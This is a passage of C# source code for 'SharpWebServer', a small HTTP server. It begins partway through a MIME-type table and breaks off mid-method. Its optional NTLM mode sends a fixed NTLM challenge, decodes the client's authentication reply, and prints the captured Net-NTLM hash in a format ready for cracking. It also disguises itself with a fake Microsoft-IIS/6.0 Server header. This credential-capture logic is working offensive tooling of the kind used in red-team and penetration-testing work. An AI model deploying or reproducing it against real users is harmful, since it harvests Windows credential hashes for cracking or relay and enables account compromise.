"application/vnd.yamaha.openscoreformat.osfpvg+xml"}, 503 | {".otc", "application/vnd.oasis.opendocument.chart-template"}, 504 | {".otf", "application/x-font-otf"}, 505 | {".otg", "application/vnd.oasis.opendocument.graphics-template"}, 506 | {".oth", "application/vnd.oasis.opendocument.text-web"}, 507 | {".oti", "application/vnd.oasis.opendocument.image-template"}, 508 | {".otm", "application/vnd.oasis.opendocument.text-master"}, 509 | {".otp", "application/vnd.oasis.opendocument.presentation-template"}, 510 | {".ots", "application/vnd.oasis.opendocument.spreadsheet-template"}, 511 | {".ott", "application/vnd.oasis.opendocument.text-template"}, 512 | {".oxt", "application/vnd.openofficeorg.extension"}, 513 | {".p", "text/x-pascal"}, 514 | {".p10", "application/pkcs10"}, 515 | {".p12", "application/x-pkcs12"}, 516 | {".p7b", "application/x-pkcs7-certificates"}, 517 | {".p7c", "application/pkcs7-mime"}, 518 | {".p7m", "application/pkcs7-mime"}, 519 | {".p7r", "application/x-pkcs7-certreqresp"}, 520 | {".p7s", "application/pkcs7-signature"}, 521 | {".pas", "text/x-pascal"}, 522 | {".pbd", "application/vnd.powerbuilder6"}, 523 | {".pbm", "image/x-portable-bitmap"}, 524 | {".pcf", "application/x-font-pcf"}, 525 | {".pcl", "application/vnd.hp-pcl"}, 526 | {".pclxl", "application/vnd.hp-pclxl"}, 527 | {".pct", "image/x-pict"}, 528 | {".pcurl", "application/vnd.curl.pcurl"}, 529 | {".pcx", "image/x-pcx"}, 530 | {".pdb", "application/vnd.palm"}, 531 | {".pdf", "application/pdf"}, 532 | {".pfa", "application/x-font-type1"}, 533 | {".pfb", "application/x-font-type1"}, 534 | {".pfm", "application/x-font-type1"}, 535 | {".pfr", "application/font-tdpfr"}, 536 | {".pfx", "application/x-pkcs12"}, 537 | {".pgm", "image/x-portable-graymap"}, 538 | {".pgn", "application/x-chess-pgn"}, 539 | {".pgp", "application/pgp-encrypted"}, 540 | {".pic", "image/x-pict"}, 541 | {".pkg", "application/octet-stream"}, 542 | {".pki", "application/pkixcmp"}, 543 | {".pkipath", "application/pkix-pkipath"}, 544 | {".pl", "text/plain"}, 545 | {".plb", "application/vnd.3gpp.pic-bw-large"}, 546 | {".plc", "application/vnd.mobius.plc"}, 547 | {".plf", "application/vnd.pocketlearn"}, 548 | {".pls", "application/pls+xml"}, 549 | {".pml", "application/vnd.ctc-posml"}, 550 | {".png", "image/png"}, 551 | {".pnm", "image/x-portable-anymap"}, 552 | {".portpkg", "application/vnd.macports.portpkg"}, 553 | {".pot", "application/vnd.ms-powerpoint"}, 554 | {".potm", "application/vnd.ms-powerpoint.template.macroenabled.12"}, 555 | {".potx", "application/vnd.openxmlformats-officedocument.presentationml.template"}, 556 | {".ppa", "application/vnd.ms-powerpoint"}, 557 | {".ppam", "application/vnd.ms-powerpoint.addin.macroenabled.12"}, 558 | {".ppd", "application/vnd.cups-ppd"}, 559 | {".ppm", "image/x-portable-pixmap"}, 560 | {".pps", "application/vnd.ms-powerpoint"}, 561 | {".ppsm", "application/vnd.ms-powerpoint.slideshow.macroenabled.12"}, 562 | {".ppsx", "application/vnd.openxmlformats-officedocument.presentationml.slideshow"}, 563 | {".ppt", "application/vnd.ms-powerpoint"}, 564 | {".pptm", "application/vnd.ms-powerpoint.presentation.macroenabled.12"}, 565 | {".pptx", "application/vnd.openxmlformats-officedocument.presentationml.presentation"}, 566 | {".pqa", "application/vnd.palm"}, 567 | {".prc", "application/x-mobipocket-ebook"}, 568 | {".pre", "application/vnd.lotus-freelance"}, 569 | {".prf", "application/pics-rules"}, 570 | {".ps", "application/postscript"}, 571 | {".psb", "application/vnd.3gpp.pic-bw-small"}, 572 | {".psd", "image/vnd.adobe.photoshop"}, 573 | {".psf", "application/x-font-linux-psf"}, 574 | {".ptid", "application/vnd.pvi.ptid1"}, 575 | {".pub", "application/x-mspublisher"}, 576 | {".pvb", "application/vnd.3gpp.pic-bw-var"}, 577 | {".pwn", "application/vnd.3m.post-it-notes"}, 578 | {".pwz", "application/vnd.ms-powerpoint"}, 579 | {".py", "text/x-python"}, 580 | {".pya", "audio/vnd.ms-playready.media.pya"}, 581 | {".pyc", "application/x-python-code"}, 582 | {".pyo", "application/x-python-code"}, 583 | {".pyv", "video/vnd.ms-playready.media.pyv"}, 584 | {".qam", "application/vnd.epson.quickanime"}, 585 | {".qbo", "application/vnd.intu.qbo"}, 586 | {".qfx", "application/vnd.intu.qfx"}, 587 | {".qps", "application/vnd.publishare-delta-tree"}, 588 | {".qt", "video/quicktime"}, 589 | {".qwd", "application/vnd.quark.quarkxpress"}, 590 | {".qwt", "application/vnd.quark.quarkxpress"}, 591 | {".qxb", "application/vnd.quark.quarkxpress"}, 592 | {".qxd", "application/vnd.quark.quarkxpress"}, 593 | {".qxl", "application/vnd.quark.quarkxpress"}, 594 | {".qxt", "application/vnd.quark.quarkxpress"}, 595 | {".ra", "audio/x-pn-realaudio"}, 596 | {".ram", "audio/x-pn-realaudio"}, 597 | {".rar", "application/x-rar-compressed"}, 598 | {".ras", "image/x-cmu-raster"}, 599 | {".rcprofile", "application/vnd.ipunplugged.rcprofile"}, 600 | {".rdf", "application/rdf+xml"}, 601 | {".rdz", "application/vnd.data-vision.rdz"}, 602 | {".rep", "application/vnd.businessobjects"}, 603 | {".res", "application/x-dtbresource+xml"}, 604 | {".rgb", "image/x-rgb"}, 605 | {".rif", "application/reginfo+xml"}, 606 | {".rl", "application/resource-lists+xml"}, 607 | {".rlc", "image/vnd.fujixerox.edmics-rlc"}, 608 | {".rld", "application/resource-lists-diff+xml"}, 609 | {".rm", "application/vnd.rn-realmedia"}, 610 | {".rmi", "audio/midi"}, 611 | {".rmp", "audio/x-pn-realaudio-plugin"}, 612 | {".rms", "application/vnd.jcp.javame.midlet-rms"}, 613 | {".rnc", "application/relax-ng-compact-syntax"}, 614 | {".roff", "text/troff"}, 615 | {".rpm", "application/x-rpm"}, 616 | {".rpss", "application/vnd.nokia.radio-presets"}, 617 | {".rpst", "application/vnd.nokia.radio-preset"}, 618 | {".rq", "application/sparql-query"}, 619 | {".rs", "application/rls-services+xml"}, 620 | {".rsd", "application/rsd+xml"}, 621 | {".rss", "application/rss+xml"}, 622 | {".rtf", "application/rtf"}, 623 | {".rtx", "text/richtext"}, 624 | {".s", "text/x-asm"}, 625 | {".saf", "application/vnd.yamaha.smaf-audio"}, 626 | {".sbml", "application/sbml+xml"}, 627 | {".sc", "application/vnd.ibm.secure-container"}, 628 | {".scd", "application/x-msschedule"}, 629 | {".scm", "application/vnd.lotus-screencam"}, 630 | {".scq", "application/scvp-cv-request"}, 631 | {".scs", "application/scvp-cv-response"}, 632 | {".scurl", "text/vnd.curl.scurl"}, 633 | {".sda", "application/vnd.stardivision.draw"}, 634 | {".sdc", "application/vnd.stardivision.calc"}, 635 | {".sdd", "application/vnd.stardivision.impress"}, 636 | {".sdkd", "application/vnd.solent.sdkm+xml"}, 637 | {".sdkm", "application/vnd.solent.sdkm+xml"}, 638 | {".sdp", "application/sdp"}, 639 | {".sdw", "application/vnd.stardivision.writer"}, 640 | {".see", "application/vnd.seemail"}, 641 | {".seed", "application/vnd.fdsn.seed"}, 642 | {".sema", "application/vnd.sema"}, 643 | {".semd", "application/vnd.semd"}, 644 | {".semf", "application/vnd.semf"}, 645 | {".ser", "application/java-serialized-object"}, 646 | {".setpay", "application/set-payment-initiation"}, 647 | {".setreg", "application/set-registration-initiation"}, 648 | {".sfd-hdstx", "application/vnd.hydrostatix.sof-data"}, 649 | {".sfs", "application/vnd.spotfire.sfs"}, 650 | {".sgl", "application/vnd.stardivision.writer-global"}, 651 | {".sgm", "text/sgml"}, 652 | {".sgml", "text/sgml"}, 653 | {".sh", "application/x-sh"}, 654 | {".shar", "application/x-shar"}, 655 | {".shf", "application/shf+xml"}, 656 | {".si", "text/vnd.wap.si"}, 657 | {".sic", "application/vnd.wap.sic"}, 658 | {".sig", "application/pgp-signature"}, 659 | {".silo", "model/mesh"}, 660 | {".sis", "application/vnd.symbian.install"}, 661 | {".sisx", "application/vnd.symbian.install"}, 662 | {".sit", "application/x-stuffit"}, 663 | {".sitx", "application/x-stuffitx"}, 664 | {".skd", "application/vnd.koan"}, 665 | {".skm", "application/vnd.koan"}, 666 | {".skp", "application/vnd.koan"}, 667 | {".skt", "application/vnd.koan"}, 668 | {".sl", "text/vnd.wap.sl"}, 669 | {".slc", "application/vnd.wap.slc"}, 670 | {".sldm", "application/vnd.ms-powerpoint.slide.macroenabled.12"}, 671 | {".sldx", "application/vnd.openxmlformats-officedocument.presentationml.slide"}, 672 | {".slt", "application/vnd.epson.salt"}, 673 | {".smf", "application/vnd.stardivision.math"}, 674 | {".smi", "application/smil+xml"}, 675 | {".smil", "application/smil+xml"}, 676 | {".snd", "audio/basic"}, 677 | {".snf", "application/x-font-snf"}, 678 | {".so", "application/octet-stream"}, 679 | {".spc", "application/x-pkcs7-certificates"}, 680 | {".spf", "application/vnd.yamaha.smaf-phrase"}, 681 | {".spl", "application/x-futuresplash"}, 682 | {".spot", "text/vnd.in3d.spot"}, 683 | {".spp", "application/scvp-vp-response"}, 684 | {".spq", "application/scvp-vp-request"}, 685 | {".spx", "audio/ogg"}, 686 | {".src", "application/x-wais-source"}, 687 | {".srx", "application/sparql-results+xml"}, 688 | {".sse", "application/vnd.kodak-descriptor"}, 689 | {".ssf", "application/vnd.epson.ssf"}, 690 | {".ssml", "application/ssml+xml"}, 691 | {".stc", "application/vnd.sun.xml.calc.template"}, 692 | {".std", "application/vnd.sun.xml.draw.template"}, 693 | {".stf", "application/vnd.wt.stf"}, 694 | {".sti", "application/vnd.sun.xml.impress.template"}, 695 | {".stk", "application/hyperstudio"}, 696 | {".stl", "application/vnd.ms-pki.stl"}, 697 | {".str", "application/vnd.pg.format"}, 698 | {".stw", "application/vnd.sun.xml.writer.template"}, 699 | {".sus", "application/vnd.sus-calendar"}, 700 | {".susp", "application/vnd.sus-calendar"}, 701 | {".sv4cpio", "application/x-sv4cpio"}, 702 | {".sv4crc", "application/x-sv4crc"}, 703 | {".svd", "application/vnd.svd"}, 704 | {".svg", "image/svg+xml"}, 705 | {".svgz", "image/svg+xml"}, 706 | {".swa", "application/x-director"}, 707 | {".swf", "application/x-shockwave-flash"}, 708 | {".swi", "application/vnd.arastra.swi"}, 709 | {".sxc", "application/vnd.sun.xml.calc"}, 710 | {".sxd", "application/vnd.sun.xml.draw"}, 711 | {".sxg", "application/vnd.sun.xml.writer.global"}, 712 | {".sxi", "application/vnd.sun.xml.impress"}, 713 | {".sxm", "application/vnd.sun.xml.math"}, 714 | {".sxw", "application/vnd.sun.xml.writer"}, 715 | {".t", "text/troff"}, 716 | {".tao", "application/vnd.tao.intent-module-archive"}, 717 | {".tar", "application/x-tar"}, 718 | {".tcap", "application/vnd.3gpp2.tcap"}, 719 | {".tcl", "application/x-tcl"}, 720 | {".teacher", "application/vnd.smart.teacher"}, 721 | {".tex", "application/x-tex"}, 722 | {".texi", "application/x-texinfo"}, 723 | {".texinfo", "application/x-texinfo"}, 724 | {".text", "text/plain"}, 725 | {".tfm", "application/x-tex-tfm"}, 726 | {".tgz", "application/x-gzip"}, 727 | {".tif", "image/tiff"}, 728 | {".tiff", "image/tiff"}, 729 | {".tmo", "application/vnd.tmobile-livetv"}, 730 | {".torrent", "application/x-bittorrent"}, 731 | {".tpl", "application/vnd.groove-tool-template"}, 732 | {".tpt", "application/vnd.trid.tpt"}, 733 | {".tr", "text/troff"}, 734 | {".tra", "application/vnd.trueapp"}, 735 | {".trm", "application/x-msterminal"}, 736 | {".tsv", "text/tab-separated-values"}, 737 | {".ttc", "application/x-font-ttf"}, 738 | {".ttf", "application/x-font-ttf"}, 739 | {".twd", "application/vnd.simtech-mindmapper"}, 740 | {".twds", "application/vnd.simtech-mindmapper"}, 741 | {".txd", "application/vnd.genomatix.tuxedo"}, 742 | {".txf", "application/vnd.mobius.txf"}, 743 | {".txt", "text/plain"}, 744 | {".u32", "application/x-authorware-bin"}, 745 | {".udeb", "application/x-debian-package"}, 746 | {".ufd", "application/vnd.ufdl"}, 747 | {".ufdl", "application/vnd.ufdl"}, 748 | {".umj", "application/vnd.umajin"}, 749 | {".unityweb", "application/vnd.unity"}, 750 | {".uoml", "application/vnd.uoml+xml"}, 751 | {".uri", "text/uri-list"}, 752 | {".uris", "text/uri-list"}, 753 | {".urls", "text/uri-list"}, 754 | {".ustar", "application/x-ustar"}, 755 | {".utz", "application/vnd.uiq.theme"}, 756 | {".uu", "text/x-uuencode"}, 757 | {".vcd", "application/x-cdlink"}, 758 | {".vcf", "text/x-vcard"}, 759 | {".vcg", "application/vnd.groove-vcard"}, 760 | {".vcs", "text/x-vcalendar"}, 761 | {".vcx", "application/vnd.vcx"}, 762 | {".vis", "application/vnd.visionary"}, 763 | {".viv", "video/vnd.vivo"}, 764 | {".vor", "application/vnd.stardivision.writer"}, 765 | {".vox", "application/x-authorware-bin"}, 766 | {".vrml", "model/vrml"}, 767 | {".vsd", "application/vnd.visio"}, 768 | {".vsf", "application/vnd.vsf"}, 769 | {".vss", "application/vnd.visio"}, 770 | {".vst", "application/vnd.visio"}, 771 | {".vsw", "application/vnd.visio"}, 772 | {".vtu", "model/vnd.vtu"}, 773 | {".vxml", "application/voicexml+xml"}, 774 | {".w3d", "application/x-director"}, 775 | {".wad", "application/x-doom"}, 776 | {".wav", "audio/x-wav"}, 777 | {".wax", "audio/x-ms-wax"}, 778 | {".wbmp", "image/vnd.wap.wbmp"}, 779 | {".wbs", "application/vnd.criticaltools.wbs+xml"}, 780 | {".wbxml", "application/vnd.wap.wbxml"}, 781 | {".wcm", "application/vnd.ms-works"}, 782 | {".wdb", "application/vnd.ms-works"}, 783 | {".wiz", "application/msword"}, 784 | {".wks", "application/vnd.ms-works"}, 785 | {".wm", "video/x-ms-wm"}, 786 | {".wma", "audio/x-ms-wma"}, 787 | {".wmd", "application/x-ms-wmd"}, 788 | {".wmf", "application/x-msmetafile"}, 789 | {".wml", "text/vnd.wap.wml"}, 790 | {".wmlc", "application/vnd.wap.wmlc"}, 791 | {".wmls", "text/vnd.wap.wmlscript"}, 792 | {".wmlsc", "application/vnd.wap.wmlscriptc"}, 793 | {".wmv", "video/x-ms-wmv"}, 794 | {".wmx", "video/x-ms-wmx"}, 795 | {".wmz", "application/x-ms-wmz"}, 796 | {".wpd", "application/vnd.wordperfect"}, 797 | {".wpl", "application/vnd.ms-wpl"}, 798 | {".wps", "application/vnd.ms-works"}, 799 | {".wqd", "application/vnd.wqd"}, 800 | {".wri", "application/x-mswrite"}, 801 | {".wrl", "model/vrml"}, 802 | {".wsdl", "application/wsdl+xml"}, 803 | {".wspolicy", "application/wspolicy+xml"}, 804 | {".wtb", "application/vnd.webturbo"}, 805 | {".wvx", "video/x-ms-wvx"}, 806 | {".x32", "application/x-authorware-bin"}, 807 | {".x3d", "application/vnd.hzn-3d-crossword"}, 808 | {".xap", "application/x-silverlight-app"}, 809 | {".xar", "application/vnd.xara"}, 810 | {".xbap", "application/x-ms-xbap"}, 811 | {".xbd", "application/vnd.fujixerox.docuworks.binder"}, 812 | {".xbm", "image/x-xbitmap"}, 813 | {".xdm", "application/vnd.syncml.dm+xml"}, 814 | {".xdp", "application/vnd.adobe.xdp+xml"}, 815 | {".xdw", "application/vnd.fujixerox.docuworks"}, 816 | {".xenc", "application/xenc+xml"}, 817 | {".xer", "application/patch-ops-error+xml"}, 818 | {".xfdf", "application/vnd.adobe.xfdf"}, 819 | {".xfdl", "application/vnd.xfdl"}, 820 | {".xht", "application/xhtml+xml"}, 821 | {".xhtml", "application/xhtml+xml"}, 822 | {".xhvml", "application/xv+xml"}, 823 | {".xif", "image/vnd.xiff"}, 824 | {".xla", "application/vnd.ms-excel"}, 825 | {".xlam", "application/vnd.ms-excel.addin.macroenabled.12"}, 826 | {".xlb", "application/vnd.ms-excel"}, 827 | {".xlc", "application/vnd.ms-excel"}, 828 | {".xlm", "application/vnd.ms-excel"}, 829 | {".xls", "application/vnd.ms-excel"}, 830 | {".xlsb", "application/vnd.ms-excel.sheet.binary.macroenabled.12"}, 831 | {".xlsm", "application/vnd.ms-excel.sheet.macroenabled.12"}, 832 | {".xlsx", "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"}, 833 | {".xlt", "application/vnd.ms-excel"}, 834 | {".xltm", "application/vnd.ms-excel.template.macroenabled.12"}, 835 | {".xltx", "application/vnd.openxmlformats-officedocument.spreadsheetml.template"}, 836 | {".xlw", "application/vnd.ms-excel"}, 837 | {".xml", "application/xml"}, 838 | {".xo", "application/vnd.olpc-sugar"}, 839 | {".xop", "application/xop+xml"}, 840 | {".xpdl", "application/xml"}, 841 | {".xpi", "application/x-xpinstall"}, 842 | {".xpm", "image/x-xpixmap"}, 843 | {".xpr", "application/vnd.is-xpr"}, 844 | {".xps", "application/vnd.ms-xpsdocument"}, 845 | {".xpw", "application/vnd.intercon.formnet"}, 846 | {".xpx", "application/vnd.intercon.formnet"}, 847 | {".xsl", "application/xml"}, 848 | {".xslt", "application/xslt+xml"}, 849 | {".xsm", "application/vnd.syncml+xml"}, 850 | {".xspf", "application/xspf+xml"}, 851 | {".xul", "application/vnd.mozilla.xul+xml"}, 852 | {".xvm", "application/xv+xml"}, 853 | {".xvml", "application/xv+xml"}, 854 | {".xwd", "image/x-xwindowdump"}, 855 | {".xyz", "chemical/x-xyz"}, 856 | {".zaz", "application/vnd.zzazz.deck+xml"}, 857 | {".zip", "application/zip"}, 858 | {".zir", "application/vnd.zul"}, 859 | {".zirz", "application/vnd.zul"}, 860 | {".zmm", "application/vnd.handheld-entertainment+xml" } 861 | #endregion 862 | }; 863 | private TcpListener _listener; 864 | private string _RootDirectory; 865 | private bool _AllowCors; 866 | private bool _Verbose; 867 | private bool _NTLM; 868 | private int _Port; 869 | private bool _Redir; 870 | 871 | public SharpWebServer(string directoryPath, int port, bool ntlm = false, bool verbose = false, bool redir = false) 872 | { 873 | _RootDirectory = directoryPath; 874 | _AllowCors = false; 875 | _Verbose = verbose; 876 | _NTLM = ntlm; 877 | _Port = port; 878 | _Redir = redir; 879 | } 880 | 881 | private void Initialize() 882 | { 883 | _listener = new TcpListener(System.Net.IPAddress.Any, _Port); 884 | try 885 | { 886 | _listener.Start(); 887 | } 888 | catch(Exception ex) 889 | { 890 | Console.WriteLine($"[!] Could not instantiate TCP listener: Port already taken?\n Exception: {ex}"); 891 | System.Environment.Exit(0); 892 | } 893 | 894 | ThreadPool.QueueUserWorkItem(Listen, null); 895 | } 896 | 897 | public void Stop() 898 | { 899 | if (_listener != null) 900 | { 901 | _listener.Stop(); 902 | _listener = null; 903 | } 904 | } 905 | 906 | private void Log(string txt) 907 | { 908 | if (_Verbose) 909 | { 910 | Output("SharpWebServer [" + DateTime.Now.ToString("dd.MM.yy, HH:mm:ss") + $"] {txt}"); 911 | } 912 | } 913 | 914 | private void Listen(object token) 915 | { 916 | int disposeErrors = 0; 917 | 918 | while(_listener != null) 919 | { 920 | try 921 | { 922 | var client = _listener.AcceptTcpClient(); 923 | ThreadPool.QueueUserWorkItem(HandleClient, client); 924 | } 925 | catch (Exception e) 926 | { 927 | if (e.ToString().Contains("Cannot access a disposed object.")) 928 | { 929 | disposeErrors++; 930 | if (disposeErrors > 10) 931 | { 932 | //Output($"[*] Exception occurred in Listen : {e.Message}"); 933 | break; 934 | } 935 | continue; 936 | } 937 | 938 | Output($"[*] Exception occurred in Listen : {e.Message}"); 939 | } 940 | } 941 | } 942 | 943 | public struct MyRequest 944 | { 945 | public IPEndPoint remoteEndpoint; 946 | public IPEndPoint localEndpoint; 947 | public string PeerIP; 948 | public string HttpMethod; 949 | public string Uri; 950 | public string HttpVersion; 951 | public string Body; 952 | public Dictionary Headers; 953 | } 954 | 955 | private struct MyResponse 956 | { 957 | public Dictionary Headers; 958 | public string HttpVersion; 959 | public int StatusCode; 960 | public string StatusMessage; 961 | public byte[] Output; 962 | public string ContentType; 963 | public long ContentLength; 964 | } 965 | 966 | private void SocketSetKeepAlive(TcpClient client) 967 | { 968 | // https://darchuk.net/2019/01/04/c-setting-socket-keep-alive/ 969 | 970 | // Get the size of the uint to use to back the byte array 971 | int size = Marshal.SizeOf((uint)0); 972 | 973 | // Create the byte array 974 | byte[] keepAlive = new byte[size * 3]; 975 | 976 | // Pack the byte array: 977 | 978 | // Turn keepalive on 979 | Buffer.BlockCopy(BitConverter.GetBytes((uint)1), 0, keepAlive, 0, size); 980 | 981 | // Set amount of time without activity before sending a keepalive to 5 seconds 982 | Buffer.BlockCopy(BitConverter.GetBytes((uint)5000), 0, keepAlive, size, size); 983 | 984 | // Set keepalive interval to 5 seconds 985 | Buffer.BlockCopy(BitConverter.GetBytes((uint)5000), 0, keepAlive, size * 2, size); 986 | 987 | // Set the keep-alive settings on the underlying Socket 988 | client.Client.IOControl(IOControlCode.KeepAliveValues, keepAlive, null); 989 | } 990 | 991 | private void HandleClient(object token) 992 | { 993 | try 994 | { 995 | var client = token as TcpClient; 996 | string peerIP = ((IPEndPoint)client.Client.RemoteEndPoint).Address.ToString(); 997 | var stream = client.GetStream(); 998 | 999 | using (var reader = new StreamReader(stream)) 1000 | { 1001 | var writer = new StreamWriter(stream); 1002 | var requestFinished = 0; 1003 | var state = 0; 1004 | 1005 | var response = new MyResponse 1006 | { 1007 | Headers = new Dictionary(), 1008 | Output = null, 1009 | HttpVersion = "HTTP/1.1", 1010 | ContentType = "", 1011 | }; 1012 | 1013 | var request = new MyRequest 1014 | { 1015 | Headers = new Dictionary(StringComparer.InvariantCultureIgnoreCase), 1016 | remoteEndpoint = ((IPEndPoint)client.Client.RemoteEndPoint), 1017 | localEndpoint = ((IPEndPoint)client.Client.LocalEndPoint), 1018 | PeerIP = peerIP 1019 | }; 1020 | 1021 | while (requestFinished == 0) 1022 | { 1023 | if (state == 0) 1024 | { 1025 | var lineInput = reader.ReadLine(); 1026 | if(lineInput == null || lineInput.Length == 0 || lineInput.IndexOf(' ') == -1) 1027 | { 1028 | requestFinished = 1; 1029 | client.Close(); 1030 | break; 1031 | } 1032 | 1033 | var line = lineInput.Split(' '); 1034 | 1035 | request.HttpMethod = line[0]; 1036 | request.Uri = line[1]; 1037 | request.HttpVersion = line[2]; 1038 | state = 1; 1039 | } 1040 | else 1041 | { 1042 | var lineInput = reader.ReadLine(); 1043 | if (lineInput == "") 1044 | { 1045 | request.Body = ""; 1046 | int peekChar = 0; 1047 | 1048 | while((peekChar = reader.Peek()) != -1) 1049 | { 1050 | request.Body += (char)reader.Read(); 1051 | } 1052 | 1053 | Process(ref request, ref response); 1054 | var output = PrepareResponse(ref request, ref response); 1055 | 1056 | writer.BaseStream.Write(output, 0, output.Length); 1057 | writer.Flush(); 1058 | 1059 | System.Threading.Thread.Sleep(500); 1060 | 1061 | if (response.Headers.ContainsKey("Connection") && response.Headers["Connection"].ToLower().Equals("close")) 1062 | { 1063 | requestFinished = 1; 1064 | client.Close(); 1065 | } 1066 | else 1067 | { 1068 | SocketSetKeepAlive(client); 1069 | 1070 | state = 0; 1071 | response = new MyResponse 1072 | { 1073 | Headers = new Dictionary(), 1074 | Output = null, 1075 | HttpVersion = "HTTP/1.1", 1076 | ContentType = "" 1077 | }; 1078 | request = new MyRequest 1079 | { 1080 | Headers = new Dictionary(StringComparer.InvariantCultureIgnoreCase), 1081 | remoteEndpoint = ((IPEndPoint)client.Client.RemoteEndPoint), 1082 | localEndpoint = ((IPEndPoint)client.Client.LocalEndPoint), 1083 | PeerIP = peerIP 1084 | }; 1085 | } 1086 | } 1087 | else 1088 | { 1089 | var pos = lineInput.IndexOf(':'); 1090 | if(pos != -1 && (pos + 1) < lineInput.Length) 1091 | { 1092 | request.Headers.Add(lineInput.Substring(0, pos), lineInput.Substring(pos+1).TrimStart()); 1093 | } 1094 | } 1095 | } 1096 | } 1097 | } 1098 | } 1099 | catch (Exception e) 1100 | { 1101 | Output($"[*] Exception occurred while handling client : {e.Message}"); 1102 | } 1103 | } 1104 | 1105 | private byte[] PrepareResponse(ref MyRequest request, ref MyResponse response) 1106 | { 1107 | if (response.ContentLength > 0 && !response.Headers.ContainsKey("content-length")) 1108 | { 1109 | response.Headers.Add("Content-Length", response.ContentLength.ToString()); 1110 | } 1111 | 1112 | if(!response.Headers.ContainsKey("Content-Type") && response.ContentType.Length > 0) 1113 | { 1114 | response.Headers.Add("Content-Type", response.ContentType); 1115 | } 1116 | 1117 | response.Headers.Add("Server", "Microsoft-IIS/6.0"); 1118 | response.Headers.Add("Date", DateTime.Now.ToString("r")); 1119 | 1120 | using (var outp = new MemoryStream()) 1121 | { 1122 | using (var writer = new StreamWriter(outp)) 1123 | { 1124 | writer.Write($"{response.HttpVersion} {response.StatusCode} {response.StatusMessage}\r\n"); 1125 | foreach (var k in response.Headers.Keys) 1126 | { 1127 | writer.Write($"{k}: {response.Headers[k]}\r\n"); 1128 | } 1129 | 1130 | writer.Write("\r\n"); 1131 | writer.Flush(); 1132 | 1133 | if (response.Output != null && response.Output.Length > 0) 1134 | { 1135 | writer.BaseStream.Write(response.Output, 0, response.Output.Length); 1136 | } 1137 | 1138 | return outp.ToArray(); 1139 | } 1140 | } 1141 | } 1142 | 1143 | private static string DecodeNTLM(byte[] NTLM) 1144 | { 1145 | var LMHash_len = BitConverter.ToInt16(NTLM, 12); 1146 | var LMHash_offset = BitConverter.ToInt16(NTLM, 16); 1147 | var LMHash = NTLM.Skip(LMHash_offset).Take(LMHash_len).ToArray(); 1148 | var NTHash_len = BitConverter.ToInt16(NTLM, 20); 1149 | var NTHash_offset = BitConverter.ToInt16(NTLM, 24); 1150 | var NTHash = NTLM.Skip(NTHash_offset).Take(NTHash_len).ToArray(); 1151 | var User_len = BitConverter.ToInt16(NTLM, 36); 1152 | var User_offset = BitConverter.ToInt16(NTLM, 40); 1153 | var User = NTLM.Skip(User_offset).Take(User_len).ToArray(); 1154 | var UserString = System.Text.Encoding.Unicode.GetString(User); 1155 | 1156 | if (NTHash_len == 24) 1157 | { 1158 | // NTLMv1 1159 | var HostName_len = BitConverter.ToInt16(NTLM, 46); 1160 | var HostName_offset = BitConverter.ToInt16(NTLM, 48); 1161 | var HostName = NTLM.Skip(HostName_offset).Take(HostName_len).ToArray(); 1162 | var HostNameString = System.Text.Encoding.Unicode.GetString(HostName); 1163 | var retval = UserString + "::" + HostNameString + ":" + LMHash + ":" + NTHash + ":1122334455667788"; 1164 | return retval; 1165 | } 1166 | else if (NTHash_len > 24) 1167 | { 1168 | // NTLMv2 1169 | NTHash_len = 64; 1170 | var Domain_len = BitConverter.ToInt16(NTLM, 28); 1171 | var Domain_offset = BitConverter.ToInt16(NTLM, 32); 1172 | var Domain = NTLM.Skip(Domain_offset).Take(Domain_len).ToArray(); 1173 | var DomainString = System.Text.Encoding.Unicode.GetString(Domain); 1174 | var HostName_len = BitConverter.ToInt16(NTLM, 44); 1175 | var HostName_offset = BitConverter.ToInt16(NTLM, 48); 1176 | var HostName = NTLM.Skip(HostName_offset).Take(HostName_len).ToArray(); 1177 | var HostNameString = System.Text.Encoding.Unicode.GetString(HostName); 1178 | 1179 | var NTHash_part1 = System.BitConverter.ToString(NTHash.Take(16).ToArray()).Replace("-", ""); 1180 | var NTHash_part2 = BitConverter.ToString(NTHash.Skip(16).Take(NTLM.Length).ToArray()).Replace("-", ""); 1181 | var retval = UserString + "::" + DomainString + ":1122334455667788:" + NTHash_part1 + ":" + NTHash_part2; 1182 | return retval; 1183 | } 1184 | 1185 | Output("[!] SharpWebServer: Could not parse NTLM hash"); 1186 | return ""; 1187 | } 1188 | 1189 | private void Process(ref MyRequest request, ref MyResponse response) 1190 | { 1191 | bool process = true; 1192 | if(_NTLM) 1193 | { 1194 | if (!request.Headers.ContainsKey("authorization")) 1195 | { 1196 | response.StatusCode = (int)HttpStatusCode.Unauthorized; 1197 | response.StatusMessage = "Unauthorized"; 1198 | response.HttpVersion = "HTTP/1.1"; 1199 | response.Headers.Add("WWW-Authenticate", "NTLM"); 1200 | response.Headers.Add("Connection", "keep-alive"); 1201 | response.Headers.Add("Content-Length", "0"); 1202 | 1203 | process = false; 1204 | Log("NTLM: Sending 401 Unauthorized due to lack of Authorization header."); 1205 | } 1206 | else 1207 | { 1208 | var auth = request.Headers["authorization"].Split(); 1209 | process = false; 1210 | 1211 | if (auth[0] == "NTLM") 1212 | { 1213 | auth[1] = auth[1].TrimStart(); 1214 | byte[] NTLMHash = System.Convert.FromBase64String(auth[1]); 1215 | 1216 | // NTLM type 3 message - client's response 1217 | if (NTLMHash[8] == 3) 1218 | { 1219 | var NTLMHashString = DecodeNTLM(NTLMHash); 1220 | Output("\n[+] SharpWebServer: Net-NTLM hash captured:"); 1221 | Output(NTLMHashString + "\n"); 1222 | process = true; 1223 | } 1224 | } 1225 | 1226 | if(!process) 1227 | { 1228 | Log("NTLM: Sending 401 Unauthorized with NTLM Challenge Response."); 1229 | 1230 | response.StatusCode = (int)HttpStatusCode.Unauthorized; 1231 | response.StatusMessage = "Unauthorized"; 1232 | response.Headers.Add("WWW-Authenticate", "NTLM TlRMTVNTUAACAAAABgAGADgAAAAFAomiESIzRFVmd4gAAAAAAAAAAIAAgAA+AAAABQLODgAAAA9TAE0AQgACAAYAUwBNAEIAAQAWAFMATQBCAC0AVABPAE8ATABLAEkAVAAEABIAcwBtAGIALgBsAG8AYwBhAGwAAwAoAHMAZQByAHYAZQByADIAMAAwADMALgBzAG0AYgAuAGwAbwBjAGEAbAAFABIAcwBtAGIALgBsAG8AYwBhAGwAAAAAAA=="); 1233 | response.Headers.Add("Connection", "keep-alive"); 1234 | response.Headers.Add("Content-Length", "0"); 1235 | } 1236 | } 1237 | } 1238 | 1239 | if (process) 1240 | { 1241 | if 